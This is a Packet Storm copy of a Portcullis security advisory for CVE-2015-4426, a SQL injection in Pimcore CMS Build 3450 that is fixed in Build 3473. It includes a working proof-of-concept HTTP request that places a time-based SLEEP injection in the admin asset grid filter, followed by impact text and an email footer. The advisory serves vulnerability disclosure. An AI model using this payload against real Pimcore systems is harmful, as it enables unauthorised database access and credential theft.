Pimcore CMS Build 3450 SQL Injection

2015-07-14T00:00:00
ID PACKETSTORM:132678
Type packetstorm
Reporter Josh Foote
Modified 2015-07-14T00:00:00

Description

                                        
                                            `Vulnerability title: SQL Injection In Pimcore CMS  
CVE: CVE-2015-4426  
Vendor: Pimcore  
Product: Pimcore CMS  
Affected version: Build 3450  
Fixed version: Build 3473  
Reported by: Josh Foote  
Details:  
  
Details:  
  
It was possible to inject arbitrary SQL into the application provided an administrative account with the ‘assets’ privilege.  
  
The following proof-of-concept will cause the database server to sleep for a number of seconds, depending on the version of Pimcore:  
  
GET /admin/asset/grid-proxy?order=ASC&folderId=1&filter=[{%22type%22:%22list%22,%22field%22:%22filename%22,%22value%22:%22-1%27%20OR%20SLEEP(2)%3d0%20%23%22}] HTTP/1.1  
Host: pimcore.com  
Connection: keep-alive  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36  
Accept-Encoding: gzip, deflate, sdch  
Accept-Language: en-GB,en-US;q=0.8,en;q=0.6  
Cookie: PHPSESSID=q20vd25ud4kqllorb2oqe4qhh2; cookie-warn=true; _ga=GA1.2.1941920115.1426505099; pimcore_admin_sid=tslcrh04lnodo6etu6lmpulla2  
  
Impact:  
  
An attacker gaining sufficient network access could manipulate the data sent to the server and affect the SQL queries being processed. This could potentially allow an attacker to extract sensitive information, including (but not limited to) authentication credentials and personal details. Such information could be sold by the attacker to other malicious individuals, used in other attacks (as the same password is often used across systems) or released publicly to damage the organisation’s reputation. In this particular instance, exploitation was easier because the web application sent verbose error information back to the user, which an attacker could use to extract data from the database.  
  
  
Further details at:  
  
https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2015-4426/  
  
Copyright:  
Copyright (c) Portcullis Computer Security Limited 2015, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited.  
  
Disclaimer:  
The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. In no event shall the author/distributor (Portcullis Computer Security Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.  
  
  
###############################################################  
This email originates from the systems of Portcullis  
Computer Security Limited, a Private limited company,   
registered in England in accordance with the Companies   
Act under number 02763799. The registered office   
address of Portcullis Computer Security Limited is:   
Portcullis House, 2 Century Court, Tolpits Lane, Watford,   
United Kingdom, WD18 9RS.   
The information in this email is confidential and may be   
legally privileged. It is intended solely for the addressee.   
Any opinions expressed are those of the individual and   
do not represent the opinion of the organisation. Access   
to this email by persons other than the intended recipient   
is strictly prohibited.  
If you are not the intended recipient, any disclosure,   
copying, distribution or other action taken or omitted to be   
taken in reliance on it, is prohibited and may be unlawful.   
When addressed to our clients any opinions or advice   
contained in this email is subject to the terms and   
conditions expressed in the applicable Portcullis Computer   
Security Limited terms of business.  
###############################################################  
  
#####################################################################################  
This e-mail message has been scanned for Viruses and Content and cleared   
by MailMarshal.  
#####################################################################################  
  
  
`